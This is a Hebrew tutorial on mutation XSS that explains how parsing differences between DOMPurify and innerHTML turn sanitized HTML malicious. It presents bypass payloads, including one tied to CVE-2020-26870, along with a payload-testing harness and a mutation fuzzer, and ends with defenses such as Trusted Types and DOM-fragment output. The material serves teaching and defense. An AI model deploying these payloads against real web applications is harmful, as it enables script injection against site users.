לדלג לתוכן

מוטציית XSS - Mutation XSS

מהי מוטציית XSS

מוטציית XSS (mXSS) היא טכניקת תקיפה שמנצלת הבדלים בין אופן הפרסור של HTML על ידי מנקי קלט (sanitizers) לבין אופן הפרסור של הדפדפן. הקלט עובר דרך המנקה בצורה "בטוחה", אבל כשהדפדפן מפרסר אותו מחדש, התוכן עובר מוטציה ונהפך לזדוני.

העיקרון: מה שהסניטייזר "רואה" שונה ממה שהדפדפן "מבצע".

"safe" input -> Sanitizer (approves) -> innerHTML -> Parser (mutation) -> XSS!

איך דפדפנים מפרסרים HTML

פרסור רגיל מול innerHTML

כשדפדפן מקבל HTML, הוא בונה עץ DOM. אבל יש הבדלים קריטיים בין:

  1. פרסור ראשוני של הדף (HTML parser)
  2. הכנסה דרך innerHTML (fragment parser)
  3. פרסור דרך DOMParser
// three different ways to parse HTML
// 1. innerHTML - fragment parser
div.innerHTML = '<svg><p>test</p></svg>';

// 2. DOMParser
let doc = new DOMParser().parseFromString('<svg><p>test</p></svg>', 'text/html');

// 3. document.write - main parser
document.write('<svg><p>test</p></svg>');

// each one can give a different result!

הבדלי פרסור מעשיים

// what happens when you put <p> inside <svg>?
let div = document.createElement('div');
div.innerHTML = '<svg><p>hello</p></svg>';
console.log(div.innerHTML);
// result: <svg></svg><p>hello</p>
// the browser "moved" <p> out of <svg> because <p> is not valid inside SVG

איך עובדים סניטייזרים - DOMPurify

DOMPurify הוא הסניטייזר הנפוץ ביותר. הוא עובד כך:

// DOMPurify's cleaning process
// 1. parse the input into a DOM
// 2. scan the tree and remove dangerous elements/attributes
// 3. serialize back to an HTML string

let clean = DOMPurify.sanitize('<img src=x onerror=alert(1)>');
// result: <img src="x">  (onerror removed)

let clean2 = DOMPurify.sanitize('<script>alert(1)</script>');
// result: ""  (script removed entirely)

הבעיה נוצרת כאשר:
1. DOMPurify מפרסר את הקלט (שלב 1)
2. מסיר אלמנטים מסוכנים (שלב 2)
3. מסריאלז חזרה למחרוזת (שלב 3)
4. המחרוזת מוכנסת ל-innerHTML (פרסור שני!)
5. בפרסור השני התוכן עובר מוטציה ונהפך לזדוני


מוטציה דרך בלבול מרחבי שמות - Namespace Confusion

SVG ו-MathML בתוך HTML

HTML5 מגדיר שלושה מרחבי שמות (namespaces): HTML, SVG, ו-MathML. כל מרחב שמות מפרסר תגיות אחרת:

<!-- inside the HTML namespace -->
<style> the text here is CSS, not HTML </style>
<title> the text here is plain text </title>

<!-- inside the SVG namespace -->
<svg>
  <style> the text here is still CSS </style>
  <title> but here the text can contain HTML! </title>
</svg>

הexploit ההבדל:

<!-- mXSS payload -->
<svg>
  <title>
    <img src=x onerror=alert(1)>
  </title>
</svg>

כאשר DOMPurify מפרסר בתוך SVG namespace, הוא רואה את <img> כטקסט רגיל בתוך <title> (כי ב-SVG, title יכול להכיל markup). אבל כשהמחרוזת מוכנסת ל-innerHTML, הדפדפן עלול לפרסר אותה אחרת.


מוטציה דרך תגיות - Tag Mutation

noscript

תגית <noscript> מפורסרת אחרת בהתאם למצב JavaScript:

<!-- when JavaScript is enabled, noscript content is plain text -->
<!-- when JavaScript is disabled, noscript content is HTML -->

<!-- DOMPurify parses with JS enabled and sees plain text -->
<noscript><img src=x onerror=alert(1)></noscript>

payload מתקדם עם noscript:

<noscript>
  <p title="</noscript><img src=x onerror=alert(1)>">
</noscript>

בפרסור ראשון (DOMPurify): </noscript> הוא חלק מה-title attribute.
בפרסור שני (innerHTML): </noscript> סוגר את ה-noscript ומשחרר את ה-img.

textarea ו-title

<!-- textarea in the first parse -->
<textarea><img src=x onerror=alert(1)></textarea>
<!-- DOMPurify sees plain text inside textarea -->

<!-- but if we can cause an early closing of textarea -->
<div id="<textarea>"><img src=x onerror=alert(1)></div>

xmp ו-iframe

<!-- xmp - an old tag that displays HTML as text -->
<xmp><img src=x onerror=alert(1)></xmp>

<!-- iframe srcdoc - a separate parsing space -->
<iframe srcdoc="<script>alert(1)</script>"></iframe>

עקיפות DOMPurify - Bypass Payloads

הBypass דרך math namespace

<!-- CVE-2020-26870 - DOMPurify bypass -->
<math>
  <mtext>
    <table>
      <mglyph>
        <style><!--</style>
        <img src=x onerror=alert(1)>
      </mglyph>
    </table>
  </mtext>
</math>

תהליך המוטציה:
1. DOMPurify מפרסר: <mglyph> נמצא בתוך MathML namespace
2. ה-<style> בתוך mglyph מפורסר כ-MathML, והקומנטר לא נפתח כמצופה
3. כש-innerHTML מכניס את זה מחדש, ה-<table> גורם ל-namespace switch
4. ה-<style> מפורסר כ-HTML ובולע את הסגירה
5. ה-<img> יוצא החוצה ומופעל

הBypass דרך SVG foreignObject

<svg>
  <foreignObject>
    <math>
      <annotation-xml encoding="text/html">
        <img src=x onerror=alert(1)>
      </annotation-xml>
    </math>
  </foreignObject>
</svg>

הBypass היסטורית - DOMPurify 2.0.0

<svg></p><style><a id="</style><img src=x onerror=alert(1)>">

תהליך:
1. DOMPurify: <svg> פותח SVG namespace, </p> נסגר, <style> מפורסר כ-SVG style
2. ה-<a id="..."> נראה כטקסט CSS רגיל
3. innerHTML: <svg> נסגר בגלל </p>, <style> מפורסר כ-HTML
4. ה-</style> בתוך ה-id סוגר את ה-style
5. ה-<img> יוצא ומופעל


הבדלי פרסור בין דפדפנים

כל דפדפן מממש את מפרסר HTML5 בצורה מעט שונה:

// testing parsing differences
function testParserDifferences(html) {
  let div = document.createElement('div');
  div.innerHTML = html;
  return div.innerHTML;
}

// tests
console.log(testParserDifferences('<svg><p>'));
// Chrome: <svg></svg><p></p>
// Firefox: <svg></svg><p></p>
// same result? not always...

console.log(testParserDifferences('<math><mi><table><mglyph><style>'));
// this is where the differences begin...

הexploit הבדלים ספציפיים ל-Chrome

<!-- Chrome handles template differently -->
<svg>
  <template>
    <img src=x onerror=alert(1)>
  </template>
</svg>

הexploit הבדלים ספציפיים ל-Firefox

<!-- Firefox parses annotation-xml differently -->
<math>
  <annotation-xml encoding="text/html">
    <svg>
      <foreignObject>
        <img src=x onerror=alert(1)>
      </foreignObject>
    </svg>
  </annotation-xml>
</math>

הדגמת תהליך המוטציה צעד אחר צעד

דוגמה 1: SVG title mutation

step 1 - input:
<svg><title><img src=x onerror=alert(1)></title></svg>

step 2 - first parse (DOMPurify):
  svg
   |
  title (SVG namespace)
   |
  #text "<img src=x onerror=alert(1)>"   <-- plain text!

step 3 - serialization:
"<svg><title>&lt;img src=x onerror=alert(1)&gt;</title></svg>"
(DOMPurify escapes the HTML entities)

so the second parse doesn't execute code - DOMPurify escaped it.
we need to find a case where the escape doesn't happen.

דוגמה 2: מוטציה מוצלחת

step 1 - input:
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

step 2 - first parse (DOMPurify):
  math
   |
  mtext
   |
  mglyph (MathML namespace)
   |-- style
   |    |-- #text "<!--"
   |
   |-- #text "</style><img src=x onerror=alert(1)>"

step 3 - serialization:
"<math><mtext><mglyph><style><!--</style><img src=x onerror=alert(1)></mglyph></mtext></math>"
(the <table> was removed because it's not valid in MathML, but the img remained as text)

step 4 - innerHTML (second parse):
this time without <table>, the namespace switch doesn't happen the same way,
and the <img> may be parsed as a real HTML element.

כתיבת payload מוטציה

מתודולוגיה

1. identify elements that cause a namespace switch
   (table, svg, math, foreignObject, annotation-xml)

2. find elements that are parsed as text in one namespace
   but as HTML in another namespace
   (title, style, noscript, xmp)

3. combine them to create a mutation

4. check that the sanitizer approves the input

5. check that innerHTML produces a malicious DOM

כלי עזר לבדיקה

// check whether the payload passes DOMPurify and causes a mutation
function testMXSS(payload) {
  // step 1: cleaning with DOMPurify
  let clean = DOMPurify.sanitize(payload);
  console.log('[1] Sanitized:', clean);

  // step 2: insertion into innerHTML
  let div = document.createElement('div');
  div.innerHTML = clean;
  console.log('[2] After innerHTML:', div.innerHTML);

  // step 3: check for dangerous elements
  let scripts = div.querySelectorAll('script, img[onerror], svg[onload]');
  if (scripts.length > 0) {
    console.log('[!] mXSS found! Dangerous elements:', scripts.length);
    return true;
  }

  // step 4: check whether innerHTML changed (mutation)
  if (clean !== div.innerHTML) {
    console.log('[*] Mutation detected (but no XSS)');
    console.log('[*] Diff:', clean, '!=', div.innerHTML);
  }

  return false;
}

// testing payloads
let payloads = [
  '<svg><title><img src=x onerror=alert(1)></title></svg>',
  '<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>',
  '<svg></p><style><a id="</style><img src=x onerror=alert(1)>">',
  '<noscript><p title="</noscript><img src=x onerror=alert(1)>">',
];

payloads.forEach(p => {
  console.log('\n--- Testing ---');
  console.log('Payload:', p);
  testMXSS(p);
});

fuzzing למציאת מוטציות חדשות

// basic fuzzer to find mutations
function fuzzMutations() {
  let namespaceElements = ['svg', 'math', 'foreignObject', 'annotation-xml'];
  let textElements = ['style', 'title', 'noscript', 'xmp', 'textarea', 'template'];
  let dangerousContent = [
    '<img src=x onerror=alert(1)>',
    '<script>alert(1)</script>',
    '<svg onload=alert(1)>'
  ];

  let mutations = [];

  for (let ns of namespaceElements) {
    for (let text of textElements) {
      for (let danger of dangerousContent) {
        let payloads = [
          `<${ns}><${text}>${danger}</${text}></${ns}>`,
          `<${ns}><${text}></${text}>${danger}</${ns}>`,
          `<${ns}><${text}><table>${danger}</table></${text}></${ns}>`,
        ];

        for (let payload of payloads) {
          let clean = DOMPurify.sanitize(payload);
          let div = document.createElement('div');
          div.innerHTML = clean;

          if (clean !== div.innerHTML) {
            mutations.push({
              payload: payload,
              sanitized: clean,
              mutated: div.innerHTML
            });
          }
        }
      }
    }
  }

  return mutations;
}

הגנה

עדכון DOMPurify

# always use the latest version
npm update dompurify

שימוש ב-Trusted Types

// Trusted Types prevents inserting unapproved HTML
// defined in the CSP header
// Content-Security-Policy: require-trusted-types-for 'script'

if (window.trustedTypes && trustedTypes.createPolicy) {
  const policy = trustedTypes.createPolicy('default', {
    createHTML: (input) => DOMPurify.sanitize(input)
  });
}

// now innerHTML requires TrustedHTML
element.innerHTML = policy.createHTML(userInput);

הימנעות מ-innerHTML

// instead of innerHTML, use textContent
element.textContent = userInput; // safe - doesn't parse HTML

// or create elements manually
let p = document.createElement('p');
p.textContent = userInput;
container.appendChild(p);

הגדרת DOMPurify עם RETURN_DOM_FRAGMENT

// returning a DocumentFragment instead of a string - prevents double parsing
let fragment = DOMPurify.sanitize(input, { RETURN_DOM_FRAGMENT: true });
element.appendChild(fragment);
// no second parse - no mutation!

סיכום

מוטציית XSS היא מהתקיפות המתוחכמות ביותר בתחום אבטחת צד הלקוח. היא מנצלת הבדלים עדינים בין אופן הפרסור של סניטייזרים ושל דפדפנים. ההגנה הטובה ביותר היא שילוב של DOMPurify עדכני, Trusted Types, והחזרת DOM fragments במקום מחרוזות HTML.